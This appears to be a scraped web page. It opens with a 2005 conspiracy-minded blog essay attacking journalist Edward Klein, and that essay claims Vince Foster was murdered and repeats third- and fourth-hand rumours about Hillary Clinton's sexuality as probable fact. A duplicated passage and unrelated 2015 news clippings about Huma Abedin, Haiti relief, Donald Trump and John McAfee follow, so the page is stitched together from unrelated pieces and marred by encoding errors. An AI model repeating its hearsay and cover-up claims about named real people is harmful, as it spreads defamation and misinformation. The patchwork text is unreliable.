Edward Klein is a prolific writer, and what a supremely confident one. The author of three bestsellers about the Kennedys, and a former editor at the New York Times and Newsweek, Klein was casting about for a new book project even as he was striking a deal for an account of Jackie Kennedy Onassis's final days, writing magazine profiles and penning a weekly column...
His book, "The Truth About Hillary: What She Knew, When She Knew It, and How Far She'll Go to Become President" -- his fifth book in nine years -- goes on sale today. The bold assertiveness of the title, along with advance word from the publisher that Klein's "shocking new accounts" would do to a potential Clinton presidential run what the Swift Boat Veterans for Truth did to John Kerry, seems to have made many a Hillary-hating heart beat faster. Orders for the embargoed book caused Sentinel, the conservative imprint of Penguin, to print 350,000 copies, said Sentinel's associate publisher Will Weisser.
"This is a book full of blatant and vicious fabrications contrived by someone who writes trash for cash," Philippe Reines, Clinton's press secretary, said yesterday...
Some conservatives touted the book in e-mails and blogs, but others have denounced some of the more sensational claims. The controversy apparently frightened off producers for the television morning shows, although Sentinel's Weisser said Klein would make the rounds of some TV talk shows, including Fox's "Hannity & Colmes." Bill O'Reilly, who hosts the No. 1-rated cable news program, said he would not invite Klein to appear, because he also had refused to interview author Kitty Kelley for what he called her "personal attacks" in her book about the Bushes.
Klein said yesterday he never has been an ideologue. He spent more than a decade at Newsweek, where he wrote cover stories on Vietnam and the India-Pakistan and Mideast wars before becoming assistant managing editor. He moved on to become executive editor of the New York Times magazine, where he spent 11 years before he was pushed out when the paper's top editor changed. In those years, he didn't vote.
After leaving the Times, he got married for the third time and began writing for Parade and Vanity Fair. (One of his sons, Alec, is a reporter for The Washington Post.) Since 1991, he has been the author of Walter Scott's Personality Parade in Parade, which is inserted into 37 million Sunday newspapers across the country. That job, which pays about $300,000 a year, and his bestsellers have made him far wealthier at 68 than his years as an editor did. (emphasis added)
"I certainly didn't go into this with a political agenda, at first," said Klein yesterday about "The Truth About Hillary." His research and manuscript have not been directed by conservatives, he said, and his conclusions are his own.
Asked whether he objected to his work being compared to "Unfit for Command," the book by Swift boat veterans that challenged Kerry's own account of his war service, Klein said, "Insofar as the Swift boat veterans were attempting to shed light on John Kerry's character, if I am being compared to them that way, I have no problems with it."
Interestingly, Klein seems not to be completely out of the closet as the infamous "Walter Scott." The Post itself, in a follow-up article on July 11, 2005, had only this to say about Klein's pedigree:
Klein, whose book has a major first printing of 350,000, is a man with solid journalistic credentials. He is a former editor of the New York Times Magazine and a contributing editor at Vanity Fair, which excerpted "The Truth About Hillary," and has written four previous bestsellers on such topics as the Kennedys, which he promoted on a wide range of shows.
On his book's dust jacket he is described simply as a "frequent contributor" to Parade and to Vanity Fair. This half truth really amounts to a lie, not a very good sign that what we're going to read inside is truthful. At Wikipedia, we find corroboration for the Post assertion. Still, in the raft of articles that have come out around the publication of Klein's Hillary bio, the one I have cited here seems to be the only one to have made any connection between Klein and what is probably the most widely-read column of any sort in the United States. There is power in having such a forum, and as we have seen in the "Parade of Lies" series, Mr. Klein½or more likely, his spook-world handlers½uses that power most perniciously.
Knowing his record as a very influential propagandist, we really must wonder what Klein is now up to with his greatly over-publicized book about Hillary Clinton. He denies that his book was directed by "conservatives," but it could hardly be clearer that it is directed to conservatives. As The Post article reports, the right-wing, Clinton-hating crowd is snapping it up. A major reason for that is that it is being heavily promoted on web sites that cater to conservatives, such,, and
At the same time, it contains little of substance that is new, while keeping a generally negative tone about the senator and former first lady, starting with the book's title. That almost guarantees that right-wingers who already have no use at all for Hillary will be the only ones reading the book. Hillary benefits from all the publicity, from being treated as someone worthy of yet another book, and the American public remains more divided than ever, distracted from their real enemy, the controlling criminal elite who have made Mr. Klein a wealthy and "successful" man.
Shadow Boxing on Lesbianism, Foster
The real giveaway that this book is not really a serious anti-Hillary effort is that it pulls its punches, stopping well short of delivering any kind of a knockout blow. The evidence for that can be seen in how it treats two controversial subjects, allegations that Hillary is a lesbian and the death of Deputy White House Counsel Vincent W. Foster, Jr.
When it comes to the sexual activities of the Clintons, Klein has already established that he will lie to us. Check this one out from his Walter Scott's Personality Parade of February 26, 1995:
Q. How much truth is there to those stories coming out of Washington that Bill Clinton is still an incurable womanizer? -K. C., New York, N.Y.
A. If there were any hard evidence that the President of the U.S. was womanizing, you can be certain it would have appeared by now in the media. The days when the White House press corps respected a President's privacy and ignored his extracurricular activities-as with JFK-are long gone. Insiders say the salacious rumors about Bill Clinton often can be traced to Secret Service agents, who may be feuding with the First Lady. She reportedly suspects that some of the agents are snoops and tries to keep them at a distance. One agent recently spread a story that Mrs. Clinton had become so tired of her husband's wandering ways that she threatened to seek a divorce and run against him in 1996. No one believes that outlandish tale, but unfortunately it has made its way through the Washington gossip mill.
That, of course, was long before the Monica Lewinsky revelations, which did not come to light because of the work of any enterprising reporters. Klein's book is now being attacked for his hints that Hillary might have a sexual preference for those of her own sex. Surely, her apparent indifference to her husband's very public infidelity and her hard, unfeminine manner, are enough, in themselves to make someone suspicious. Her supposed sexual unavailability to her husband has been standard fare for late-night comedy for many years now. Klein's two big contributions to the suspicions are that she delved deeply into lesbian literature and culture as an undergraduate at Wellesley, and she has since surrounded herself with women bearing apparent lesbian attributes.
That's quite enough to reinforce the negative feelings that conservatives already have toward Ms. Clinton, but it does nothing at all to change anyone's mind about the woman. Klein comes across as a bit outrageous for even touching on the lesbian issue, but he chooses to ignore the best evidence out there that Hillary is, indeed, a lesbian.
And what evidence is that? First, there was this well-known passage on page 42 of Passion and Betrayal, the racy 1996 book by Bill Clinton's long-term paramour, Gennifer Flowers:
[W]hen I heard some rumors floating around Little Rock, I had to speak up. He was with me at home one evening, and I cautiously told him, ½There½s something you need to know. I½ve been hearing tales around town that Hillary is having a thing with another woman.½ I watched his face to see his reaction, and couldn½t believe it when he burst out laughing. I was stunned! I asked him what was so funny. ½Honey,½ he said, ½she½s probably eaten more pussy than I have.½
Now one might question the credibility of the sort of woman who would carry on with a married man like Ms. Flowers did, but one must admit that this quote from Bill has a very authentic ring. It hardly sounds like the sort of thing that Gennifer would have had the imagination to make up, and it certainly does explain a lot of things. Furthermore, it is not the only strong, public assertion about Hillary's sexual preferences that Klein has chosen to ignore,
This comes from Alex Heard's profile of right-wing travel impresario, Jack Wheeler, in the February 1994 issue of Outside magazine, entitled "Lord of the Big Guys":
"This is going on now! My god! She has that girlfriend. Mary, uh, Steinbogan? Steebogan? That actress, yeah. That's one of her squeezes." The speaker is a hale, smiling man who's looking gray after too many days of swallowing road dust. He pauses to wheeze, dropping the grin for an insider's poker face better suited to what follows: "Two Secret Service agents walked in on them in an anteroom of the White House--in flagrante delicto. I mean, right then and there!"
"That actress," it emerges, is Mary Steenburgen, a skinny brunette best known for playing Steve Martin's wife in Parenthood. "She" is Hillary Rodham Clinton. Happily defaming both is Jack Wheeler, a 49-year-old adventure-travel impresario and right-winger extraordinaire who cheerfully insists that the First Lady is carrying on reckless "lesbian affairs." This story sprouted on the Washington, D.C., rumor vine during the Clinton administration's early days, then died for lack of fertilizing evidence. But Wheeler says it's fact, citing unnamed Secret Service agents who've allegedly told him that they can scarcely walk through a White House door without tripping over naked, wriggling she-tramps.
"It's hard to describe how disgusted they are," he sighs, gesturing weakly. One agent, he says, confided to him over a beer that thanks to Hillary's forbidden lust he doubts he could "take a bullet" for her. "And that," Wheeler groans, "is a verrry serious state of affairs."
One may call it the Washington rumor vine, but Wheeler apparently had several first-hand sources, although they are (understandably) unnamed Secret Service agents, and Wheeler, of course, is a political partisan. My own source for essentially the same story is third hand. It came from an associate with whom I never discussed politics, and it predates the Outside article by several months. The associate said that his son-in-law was a DC policeman who had friends among the Secret Service. He told me that they had told the son-in-law that Hillary had a regular woman that she brought in for sexual purposes.
If the days, as Klein says, are indeed gone when journalists generally "respected the privacy" of White House residents, there might have been some follow-up to the Wheeler revelations. If just my working in Washington was sufficient for the story to have come my way, one must surmise that those whose job it is to gather information would have caught some wind of it. Another one that came my way, in 1993, eventually made it into print in Jerry Oppenheimer's book, State of the Union: Inside the Complex Marriage of Bill and Hillary Clinton. In this instance it was fourth hand to me, as opposed to the third hand story about Hillary's "regular." As Oppenheimer told it, and then dismissed as rumor, the assistant to a prominent Washington, DC, veterinarian, sent to the White House to check on an illness to Socks, the cat, "opened the wrong door" and encountered Hillary in bed with another woman. This is very close to the story that was told to me some seven years before, except that the veterinarian is best described as "Washington area" as opposed to "Washington, DC," and nothing was said about the veterinarian's supposed prominence.
But why should Hillary's sexual proclivities and practices make a difference to us? Are we just wallowing in salacious gossip to discuss it? The charge might be valid if all the signs were not pointing toward Ms. Clinton as the inevitable Democratic candidate for president in 2008, and, quite possibly, the next president of the United States. Things would be different, as well, if she were an open, out of the closet homosexual. But if, as seems very likely, she is a covert lesbian, she would be at the mercy of the most cunning and ruthless blackmailers around, which might well explain why she is being foisted upon us. Anyone possessing information that can forestall such an eventuality has an obligation to place it on the table for public examination. For those who doubt that there are powerful elements who would employ blackmail to manipulate and control American leaders, please go to Who Killed James Forrestal? and do an edit/find for "blackmail."
Speaking of blackmail, hardly anything makes Hillary more vulnerable than the numerous scandals with which she and her husband have been involved, from the unlikely killing that she made in cattle futures to the cover-up of the murder of Deputy White House Counsel Vincent W. Foster, Jr. On the Foster death, Klein predictably parrots all the official lies supporting the story that Foster killed himself because he was depressed. What's really remarkable is that the biggest promoter of Klein's cover-up book is Newsmax, and Newsmax's editor is none other than Christopher Ruddy, who made his reputation exposing the official cover-up in the Foster case. Could it be that he has forgotten everything that he wrote about the Foster matter, as he rushes to embrace Klein, or is it not more likely that they are both just propagandists playing their separate roles?
At this stage of the game it's really unforgivable for anyone writing about the Foster death to pretend that there's any validity at all to the official suicide conclusion, now that the case has been blown wide open by the release of the Miguel Rodriguez tapes. Rodriquez was initially the lead investigator for Independent Counsel Kenneth Starr into the Foster death, but he resigned because he was not allowed to do his job.
"I saw pictures that clearly indicate to me that there is trauma on the neck. I believe it's a puncture wound on the neck," reports Rodriquez, which radically differs from the official story that Foster shot himself through the mouth.
Rodriguez goes on to say, "It's ah, the result is being dictated by a lot higher, um, authority than I think people really understand or appreciate and certainly more than I ever appreciated. What with this whole notion ah, you know, of, of doing an honest investigation, um, you know, you know, it's, it's laughable.
"I knew what the result was going to be, because I was told what the result was going to be from the get-go. And then there's all so much fluff, and a look-good job, it's just, this is all, all so much nonsense and I knew the result before the investigation began."
It can now be disclosed that these devastating revelations, along with much, much more, come from the legally-taped telephone conversations that Mr. Rodriguez had with the late head of Accuracy in Media, Reed Irvine. You can read the entire 4-part transcript by going to and searching "Miquel Rodriguez." (That's Miquel, with a q. ½Christopher Ruddy erroneously told everyone that it was spelled that way.) If you can do it, then Ed Klein could have done it, Ruddy could have done it, and any journalist in America could have done it, and, presumably, passed it on to the rest of us. But even in the unlikely event that they had been so inclined, that last step might have been more than a little difficult. Here's Rodriguez again:
I have talked to a number of people that ½ you know, from Time Magazine, Newsweek, Nightline, The New York Times, Boston Globe, The Atlanta whatever, um, you know there have been well over a hundred, and this ½ this matter is so sealed tight um, and, the reporters are all genuinely interested but the ah, the ah, um, ½ reporters are genuinely interested but the ah ½ when they start to get excited and they've got a story and they're ready to go, the editors ½ and they ½ I've gotten calls back, I've gotten calls back from all kinds of magazines worldwide, what the hell's wrong, why can't, you know, you were telling me that you, you didn't think this would go anywhere and sure enough I wrote the stories.
They went to all the trouble of writing, and then it got killed. Again, I, I, you know, I spent almost eleven hours with, with [Stephen] Labaton, or six hours with Labaton, and ah, you know, I know the guy knows, um, that there's a lot more, um, ah ½ I know, I know the New York Times has it ½ knows, and just won't ah, ah, I know that they won't do anything about it and I do know that, that many people have called me back. Reporters that I've spent a lot of time with called me back and said the editors won't allow it to go to press. The accepted media here has always had, ah, a certain take on all of this. And there's been story lines from the get-go.
In defending his pseudo attack book on Hillary, Klein claims that he is non-ideological, and he is quite right. No trace of a principle is apparent in anything he has ever written. His forte is following the approved story line, following it to fame and fortune for himself and toward the sinister ends of his superiors. In this most recent instance it is a story line that is designed, in its on very devious way, to put Hillary Clinton back in the White House.
Klein, with his softball smears, has given the mainstream press the opportunity to get on its high horse in Hillary's defense, evoking sympathy and making her look all the more like a worthy presidential candidate. The Washington Post, alone, has had at least four articles lambasting the book. They came on the heels of a front-page piece about Hillary's possible run for the presidency, which was accompanied by a Lassie-on-a-hilltop profile shot that made her look noble enough to be on a coin someday. Here are another couple of examples of the scores of articles that have been written along the lines etched out by the Post: See Hillary: First Lady, Senator, Lesbian? and The Hillary Clinton Lesbian Rumor.
The most telling article of the genre is perhaps the one by former Washington Post writer, David Remnick:
"On the strength of name recognition and a solid freshman term in the Senate, Hillary Clinton appears to lead all other potential candidates for the Presidential nomination of the Democratic Party in 2008. But Senator Clinton cannot become President of the United States. The reason, as her latest pornographer, Edward Klein, makes plain, is the lesbian situation," he begins his sarcastic commentary. "Throughout, Klein½s obsession with the girl-on-girl theme is equal to anything in 'The Well of Loneliness' or on 'The Howard Stern Show.'"
What's really interesting here is that Remnick is writing for The New Yorker, which is owned by the same people who pay Klein $300,000 a year for his "Walter Scott" disinformation and some more for whatever he may write for another of their publications, Vanity Fair. See Advance/Newhouse Group: Holdings.
Klein, Ruddy, Remnick. In our world of propaganda masquerading as journalism, they all have their roles to play.
A Literary Toast
Let's hear it for our propagandists,The people who bring us the news.Unencumbered by troublesome scruples,They're proud of their compromised views.There once was a time we admired them.We thought they were principled fighters,But what we see now is more worthyOf the Union of Soviet Writers.That they should be liberty's guardiansIs truly a shame and a pity,These shills and these flacks,These stooges and hacks,These sold-out scribesWho report on the tribesWho rule from our capital city.
Let's hear it for news commentators,Those masters of punditry,Who share with us all their opinions,Wide-ranging from A down to B.Standing right there in the spotlight,They could do some significant things,But we'd sooner expect wooden puppetsTo dance without handles or strings.Impressing no one but their colleagues,They're not even learned or witty,These shills and these flacks,These stooges and hacks,These sold-out scribesWho report on the tribesWho rule from our capital city.
Let's hear it for all those reportersWho learn how the contest is played.If they will just write what's expectedThey can be handsomely paid,But most garner practically nothingAnd eventually fall off the ladder.The losers depart mostly wiser,While the winners grow gradually sadder.Let's hear it for all those survivorsWhose road to the top is not pretty,These shills and these flacks,These stooges and hacks,These sold-out scribesWho report on the tribesWho rule from our capital city.
David Martin
July 14, 2005
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The Actress
This comes from Alex Heard's profile of right-wing travel impresario, Jack Wheeler, in the February 1994 issue of Outsidemagazine, entitled "Lord of the Big Guys":
"This is going on now! My god! She has that girlfriend. Mary, uh, Steinbogan? Steebogan? That actress, yeah. That's one of her squeezes." The speaker is a hale, smiling man who's looking gray after too many days of swallowing road dust. He pauses to wheeze, dropping the grin for an insider's poker face better suited to what follows: "Two Secret Service agents walked in on them in an anteroom of the White House--in flagrante delicto. I mean, right then and there!"
"That actress," it emerges, is Mary Steenburgen, a skinny brunette best known for playing Steve Martin's wife in Parenthood. "She" is Hillary Rodham Clinton. Happily defaming both is Jack Wheeler, a 49-year-old adventure-travel impresario and right-winger extraordinaire who cheerfully insists that the First Lady is carrying on reckless "lesbian affairs." This story sprouted on the Washington, D.C., rumor vine during the Clinton administration's early days, then died for lack of fertilizing evidence. But Wheeler says it's fact, citing unnamed Secret Service agents who've allegedly told him that they can scarcely walk through a White House door without tripping over naked, wriggling she-tramps.
"It's hard to describe how disgusted they are," he sighs, gesturing weakly. One agent, he says, confided to him over a beer that thanks to Hillary's forbidden lust he doubts he could "take a bullet" for her. "And that," Wheeler groans, "is a verrry serious state of affairs."
One may call it the Washington rumor vine, but Wheeler apparently had several first-hand sources, although they are (understandably) unnamed Secret Service agents, and Wheeler, of course, is a political partisan. My own source for essentially the same story is third hand. It came from an associate with whom I never discussed politics, and it predates the Outside article by several months. The associate said that his son-in-law was a DC policeman who had friends among the Secret Service. He told me that they had told the son-in-law that Hillary had a regular woman that she brought in for sexual purposes.
Huma Abedin, top Clinton aide, formally investigated by feds for embezzlement - Washington Times
Thu, 10 Sep 2015 07:07
Federal investigators formally investigated top Hillary Rodham Clinton aide Huma Abedin for the crime of embezzlement after confirming she took a ''Babymoon'' vacation and maternity time at the State Department without expending her formal leave, resulting in thousands of dollars of pay she wasn't entitled to receive, The Washington Times has learned.
The probe also gathered evidence she filed time sheets charging the government for impermissible overtime and excessive hours after she converted from a full-time federal employee to a State Department contractor.
Those timecards were filed during a period that remains under investigation over questions about possible conflicts of interest, documents gathered by the State Department inspector general show.
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Ms. Abedin, who served as a deputy chief of staff to Mrs. Clinton from 2009 to late 2012, told investigators she hadn't noticed she had received a $33,000 lump sum payment '-- about a third of which investigators determined was improper '-- when she left the State Department.
She suggested her husband, the disgraced former congressman Anthony Weiner, failed to let her know.
''My husband handles all the finances in our household,'' she told investigators during a recorded interview in October 2014.
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She said she only learned of the payment after being contacted by investigators two years after her departure. ''I did ask my husband to look up our bank statements, and we did have a deposit,'' she said during her interview.
She also acknowledged it was likely she did not fill out the required form when she went on a two-week vacation to Europe in 2011 while she was pregnant '-- a trip she called a ''Babymoon'' in emails and her interview.
The failure to file the form resulted in her having excessive vacation time cashed out to her in the lump payment upon leaving government, investigators concluded.
''You are 100 percent right on the Babymoon. I don't recall. One hundred percent right. I don't recall filling out any paperwork saying I was taking leave,'' she told the investigators. ''I'm not even going to blame it on my pregnancy brain.''
The State Department's inspector general formally concluded that Ms. Abedin failed to correctly submit multiple required time sheet and leave forms covering her vacation and maternity leave, resulting in an overpayment of $10,674.32 that she wasn't entitled to receive when she left her job.
The Abedin investigation's existence has been known for weeks, but the contents and findings have never been publicly released.
Sen. Chuck Grassley, Iowa Republican and chairman of the Senate Committee on the Judiciary, has repeatedly questioned Ms. Abedin's compensation and work arrangements under Mrs. Clinton, suggesting she was overpaid and may have engaged in conflicts of interest when she worked both for State as a contractor and a firm in New York connected to friends of the Clinton family.
Charges of smear job
Ms. Abedin's lawyer, Miguel Rodriguez, has accused the senator of a smear job in suggesting there was any criminality.
Story Continues '†'
Clinton emails reveal 'incompetent' relief efforts in Haiti - Cura§ao Chronicle
Thu, 10 Sep 2015 05:32
WASHINGTON, USA '-- Chelsea Clinton warned her parents, Bill and Hillary Clinton, that international relief efforts in Haiti were a disaster and that major changes were needed in a memo released on Monday by the US State Department as part of the latest batch of more than 7,000 pages of Hillary Clinton's emails.
''To say I was profoundly disturbed by what I saw '-- and didn't see '-- would be an understatement,'' Clinton wrote in a memo addressed to ''Dad, Mom'' and attached to an email she sent while her mother was secretary of state and her father was leading relief efforts for the 2010 earthquake in Haiti.
''The incompetence is mind numbing,'' she said.
Reporting back on a four-day trip to Haiti, Clinton added, ''If we do not quickly change the organization, management, accountability and delivery paradigm on the ground, we could quite conceivably confront tens of thousands of children's deaths by diarrhea, dysentery, typhoid and other water-related diseases in the near future.''
In the Clinton emails released on Monday, Haiti was mentioned at least 307 times '-- more than Israel, Iraq and Afghanistan, and more than Russia and the UK combined.
The mentions highlight the importance of events in Haiti '-- and the Clintons' involvement there '-- during the period the emails covered, from December 2009 to January 2011. In early 2010, a catastrophic magnitude-7.0 earthquake hit the Caribbean nation, causing widespread devastation.
Much of Chelsea Clinton's criticism focused on the UN and international NGOs. The UN people she encountered were ''frequently out of touch,'' ''anachronistic at best and arrogant and incompetent at worst,'' she wrote. She later added that ''UNICEF was the only UN agency that seemed to be universally acknowledged to be doing a good job by settlements' residents, by Haitian doctors and by INGO partners.''
Since the disaster in 2010, the Clinton Foundation has raised more than $30 million for Haiti. But the family's involvement dates back many more years: Over the last two decades, Hillary and former President Bill Clinton have played a critical role in the country's politics and pushed hundreds of millions of dollars in investment, US taxpayer money and aid into Haiti's development, according to Politico.
While Hillary Clinton was with the State Department, she visited the nation four times '-- the same amount of visits she paid to Afghanistan, Russia or Japan, Politico reported.
During her time there from January 21, 2009 to February 1, 2013, the State Department through its US Agency for International Development (USAID) disbursed $3.6 billion for Haitian ''earthquake relief''.
At the same time, her husband, former US president Bill Clinton, was taking money for his private foundation from foreign governments that Secretary Hillary dealt with in an official capacity.
Then the day she resigned from the State Department in February 2013, Hillary's brother Tony Rodham just happened to get lucky and was appointed a director of a company that had acquired a lucrative gold mining contract in Haiti, something the company claimed happened virtually out of the blue.
Leading Haitian lawyer and human rights activist, Ezili Dant², has charged that Bill Clinton, as head of the Haitian relief fund, was responsible for some $6 billion of international relief aid received.
''Less than 1% of this amount made it to the Haitian government. Bill Clinton had total control of the balance,'' Dant² claimed.
She added, ''Hillary and Bill Clinton 'opened Haiti' as their private asset to liquidate. They used the resources of the World Bank, the State Department, USAID, the UN, the private military security contractors, the US military, and the Fed's passport and visa issuance capabilities. They got kickbacks called 'donations' from anyone who wished to buy from them a piece of Haiti lands, oil, iridium, uranium or gold. The Clintons have used governmental power to conduct their private business and called it 'helping poor Haitians.'''
Trump Is Right on Economics -
Tue, 08 Sep 2015 14:11
So Jeb Bush is finally going after Donald Trump. Over the past couple of weeks the man who was supposed to be the front-runner has made a series of attacks on the man who is. Strange to say, however, Mr. Bush hasn't focused on what's truly vicious and absurd '-- viciously absurd? '-- about Mr. Trump's platform, his implicit racism and his insistence that he would somehow round up 11 million undocumented immigrants and remove them from our soil.
Instead, Mr. Bush has chosen to attack Mr. Trump as a false conservative, a proposition that is supposedly demonstrated by his deviations from current Republican economic orthodoxy: his willingness to raise taxes on the rich, his positive words about universal health care. And that tells you a lot about the dire state of the G.O.P. For the issues the Bush campaign is using to attack its unexpected nemesis are precisely the issues on which Mr. Trump happens to be right, and the Republican establishment has been proved utterly wrong.
To see what I mean, consider what was at stake in the last presidential election, and how things turned out after Mitt Romney lost.
During the campaign, Mr. Romney accused President Obama of favoring redistribution of income from the rich to the poor, and the truth is that Mr. Obama's re-election did mean a significant move in that direction. Taxes on the top 1 percent went up substantially in 2013, both because some of the Bush tax cuts were allowed to expire and because new taxes associated with Obamacare kicked in. And Obamacare itself, which provides a lot of aid to lower-income families, went into full effect at the beginning of 2014.
Conservatives were very clear about what would happen as a result. Raising taxes on ''job creators,'' they insisted, would destroy incentives. And they were absolutely certain that the Affordable Care Act would be a ''job killer.''
So what actually happened? As of last month, the U.S. unemployment rate, which was 7.8 percent when Mr. Obama took office, had fallen to 5.1 percent. For the record, Mr. Romney promised during the campaign that he would get unemployment down to 6 percent by the end of 2016. Also for the record, the current unemployment rate is lower than it ever got under Ronald Reagan. And the main reason unemployment has fallen so much is job growth in the private sector, which has added more than seven million workers since the end of 2012.
I'm not saying that everything is great in the U.S. economy, because it isn't. There's good reason to believe that we're still a substantial distance from full employment, and while the number of jobs has grown a lot, wages haven't. But the economy has nonetheless done far better than should have been possible if conservative orthodoxy had any truth to it. And now Mr. Trump is being accused of heresy for not accepting that failed orthodoxy?
So am I saying that Mr. Trump is better and more serious than he's given credit for being? Not at all '-- he is exactly the ignorant blowhard he seems to be. It's when it comes to his rivals that appearances can be deceiving. Some of them may come across as reasonable and thoughtful, but in reality they are anything but.
Mr. Bush, in particular, may pose as a reasonable, thoughtful type '-- credulous reporters even describe him as a policy wonk '-- but his actual economic platform, which relies on the magic of tax cuts to deliver a doubling of America's growth rate, is pure supply-side voodoo.
And here's what's interesting: all indications are that Mr. Bush's attacks on Mr. Trump are falling flat, because the Republican base doesn't actually share the Republican establishment's economic delusions.
The thing is, we didn't really know that until Mr. Trump came along. The influence of big-money donors meant that nobody could make a serious play for the G.O.P. nomination without pledging allegiance to supply-side doctrine, and this allowed the establishment to imagine that ordinary voters shared its antipopulist creed. Indeed, Mr. Bush's hapless attempt at a takedown suggests that his political team still doesn't get it, and thinks that pointing out The Donald's heresies will be enough to doom his campaign.
But Mr. Trump, who is self-financing, didn't need to genuflect to the big money, and it turns out that the base doesn't mind his heresies. This is a real revelation, which may have a lasting impact on our politics.
Again, I'm not making a case for Mr. Trump. There are lots of other politicians out there who also refuse to buy into right-wing economic nonsense, but who do so without proposing to scour the countryside in search of immigrants to deport, or to rip up our international economic agreements and start a trade war. The point, however, is that none of these reasonable politicians is seeking the Republican presidential nomination.
You Know What This Presidential Race Needs? John McAfee | WIRED
Thu, 10 Sep 2015 05:21
Slide: 1 /of 1 .
Caption: Brian Finke
Skip Article Header. Skip to: Start of Article. Brian FinkeUpdate: 9:19 am ET 09/09/2015 Several hours after this story was published, John McAfee filed paperwork with the Federal Election Commission to run for President. He also launched an official campaign website.
If you didn't think the 2016 election season could get any more batshit crazy than it already is, now, John McAfee'--the self-described ''eccentric millionaire,'' who founded the anti-virus software company McAfee, and who once played Russian roulette with a loaded gun while WIRED writer Joshua Davis stood by'--says he is considering joining the 2016 presidential race. But first, he says he's hoping to persuade someone who is ''smarter and more charismatic'' than he is to run with his backing.
''I personally am still in a quandary about whether to run myself or find someone else for my party,'' McAfee tells WIRED. ''My advisors are pressing me to run.''
McAfee, who won't name his advisors or his prospects for stand-ins, says he's been mulling a run for some time at the urging of his online followers. ''I have many thousands of emails saying please run for President,'' he says. ''It's not something I would just choose to do on my own.''
But McAfee says he does believe the government is broken, largely because its leaders don't understand technology as well as, well, he does. He points to the recent hacks of the U.S. Office of Personnel Management and Homeland Security as proof.
''Things like this cannot happen or should not happen,'' he says. ''It's clear that the leadership of our country is illiterate on the fundamental technology that supports everything in life for us now, that is cyber science, our smartphones, our military hardware, our communications.''
McAfee argues that the fact that the government is urging tech companies like Apple to create so-called ''backdoors'' into their systems that would allow the government to collect information on users is another sign that public servants just don't get it. ''That means allowing hackers easy access to anybody's data,'' he says.
The prospect of a President John McAfee may sound absurd to you. If it doesn't, please recall that McAfee was once arrested in Guatemala after fleeing Belize, where he was wanted for questioning by local police for the murder of his neighbor. No charges were brought against him in the murder case, but McAfee's backstory is still a tad colorful for politics, even in the age of Trump.
Yet the privacy arguments he's making aren't altogether unlike the ones that Apple and other tech companies have been lobbying for in Congress.
Like Lawrence Lessig, the Harvard professor who is running for president to push an agenda for campaign finance reform, McAfee seems far more concerned with having his voice heard on one particular issue than with taking a seat in the Oval Office.
Which may explain why McAfee is seeking a stand-in for his presidential run. He also said he didn't want to discuss other elements of his platform until he, er, knows whether he or someone else is going to be candidate. That announcement should come within the next 48 hours, according to McAfee. As for whether Donald Trump's surprising popularity had anything to do with his presidential ambitions, McAfee said, ''I have great respect for the man but he has nothing to do with my decision to run.''
Go Back to Top. Skip To: Start of Article.Donald Trump's official campaign logo'--a banner reading ''Make America Great Again!'''--isn't as typographically offensive as, say, Jeb's logo. But it is pretty generic and, as far as logomarks go, not that adaptable. How on Earth will he ever get that banner on an app button for mobile?
Here's an idea, from astute design observer Matthew Gordon in Boulder, Colo.: why not just co-opt Obama's campaign logo and make it his own? The Obama logo, designed before the 2008 campaign by Sol Sender, depicts a new sun rising over rolling hills'--a symbol of new beginnings and American optimism. If you just flip it upside down and paint it orange, though, you have a symbol of Trump himself'--wispy golden mane and all. Sure, it's a narcissistic logo for a presidential campaign. And yes, the idea is rife with copyright protection issues. But unconventional antics haven't bothered Trump before.
Go Back to Top. Skip To: Start of Article.Rusean Pieternelle with his two sons. Hillary for AmericaToday, there will be no throwback photos of Bill or selfies with Kim Kardashian gracing Hillary Clinton's Instagram account. Instead, the presidential hopeful's 238,000 followers will get a glimpse inside a day in the life of Texan native Rusean Pieternelle, who will be taking over Clinton's Instagram account throughout the day.
The Insta-stunt is meant to highlight the importance of Clinton's so-called New College Compact, which aims to drive down the cost of higher education through, among other things, federal and state investment. According to a Clinton aide, ''Pieternelle was chosen to operate the account because his experience coincides with Clinton's focus on college affordability as a key part of her economic agenda.''
Pieternelle is a father of two, who went back to school at the age of 30 to expand his career options. ''It's always a choice between getting the experience to move forward but taking a pay cut, or staying put to try to make enough and pay off debt,'' Pieternelle writes in a post that will go up later today. Clinton's college affordability plan includes a call for scholarships and child care for student parents like Pieternelle.
This is just one of many examples of candidates experimenting with using Instagram in what is sure to be the most photographed election season in history. Earlier this week, Bobby Jindal began running political ads on the platform, and Instagram reports there are ads running from prospective candidates from both sides of the aisle, though it did not disclose who.
But while this is Clinton's first Instagram takeover, her campaign has handed over the keys to one of her social media account's before. In May, a business owner named Mary Jo Brown took over Clinton's Twitter feed for the day, as a way of highlighting Clinton's small business platform.
Go Back to Top. Skip To: Start of Article. BorrellThe days of the TV attack ad are far from over. But a new report from a group that tracks ad spending shows that digital ads may soon play just as important a role for political campaigns.
In 2016, political ad spending will reach a record high of $11.4 billion, 20 percent more than was spent back in 2012, according to Borrell Associates, a research firm. It's a huge jump, but what's more notable is just how that money will be spent. About $1 billion will be spent on digital media, a nearly 5,000 percent increase from the measly $22.25 million spent on digital ads back in 2008. And that's only the beginning.
According to the report, spending on digital media by the time of the 2020 presidential election cycle will explode to nearly $3.3 billion dollars. That will still trail the current $8.5 billion spent on broadcast television but not by nearly as much.
More than half of the $1 billion budget in 2016 will be spent targeting social media sites, the report predicts. But even with such huge growth, these figures show just how far behind the political world is compared to the private sector. As the report notes, $1 billion is still roughly 9.5 percent of campaigns' overall advertising budgets. In other industries, digital media often accounts for 30 to 50 percent of the money spent on ads.
Go Back to Top. Skip To: Start of Article.Donald Trump just made jury duty a whole lot less boring for some New Yorkers.
Trump reported to Manhattan Supreme Court this morning after saying this weekend that he was going to receive ''no special treatment'' fulfilling his civic duty. Of course, that may have been wishful thinking. After all, when the most talked-about presidential candidate of the election season is just a few seats away, what's a self-respecting potential juror to do but Snapchat it for all the world to share?
Peter Hamby, Snapchat's head of news, called attention to the sighting on Twitter:
One Snapchatter aside, it appears everyone else is giving Trump his privacy, because, you know, he really doesn't like calling attention to himself.
Go Back to Top. Skip To: Start of Article.If you thought the debate over the US-Iran deal couldn't get any more ludicrous than this Snapchat filter, then, my dear friend, you were sorely mistaken. For today, the White House's own Iran Deal-themed Twitter account, @TheIranDeal, blew that Snapchat stunt straight out of the water. Or, shall we say, straight out of Compton.
Read it and weep, or sigh, or lament the sad state of political discourse. Pretty much however you decide to express your feelings about this brilliant mess below is okay by us.
